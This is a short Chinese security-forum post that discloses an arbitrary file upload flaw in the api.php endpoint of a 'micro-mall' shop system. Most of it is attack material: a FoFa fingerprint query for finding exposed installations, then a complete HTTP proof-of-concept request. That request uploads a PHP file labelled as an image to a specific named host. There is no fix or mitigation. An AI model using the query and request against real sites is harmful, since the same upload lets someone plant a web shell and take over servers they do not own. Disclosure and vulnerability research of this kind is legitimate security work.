微商城系统api.php接口存在任意文件上传漏洞-网络安全论坛-网络安全-阻击者联盟

微商城系统api.php接口存在任意文件上传漏洞

FoFa语句:

body="/Mao_Public/js/jquery-2.1.1.min.js"

f1c497190e6361a458168955e1976138

 

POC:

POST /api/api.php?mod=upload&type=1 HTTP/1.1
Host: mt.weixinepay.cn
User-Agent:Mozilla/4.0(compatible; MSIE 8.0;Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept:*/*
Connection: close
Content-Length: 274
Content-Type: multipart/form-data; boundary=ec3af73200618d8ba86bb2e42d4ec594

--ec3af73200618d8ba86bb2e42d4ec594
Content-Disposition: form-data; name="file"; filename="271857.php"
Content-Type: image/png

<?php phpinfo(); ?>
--ec3af73200618d8ba86bb2e42d4ec594
Content-Disposition: form-data; name="param"

param
--ec3af73200618d8ba86bb2e42d4ec594--

9d2bad9b1a5111db604f8bc4e4a65e85

 

ab0cc39cf76fcc663fe848cc61317197

 

请登录后发表评论

    没有回复内容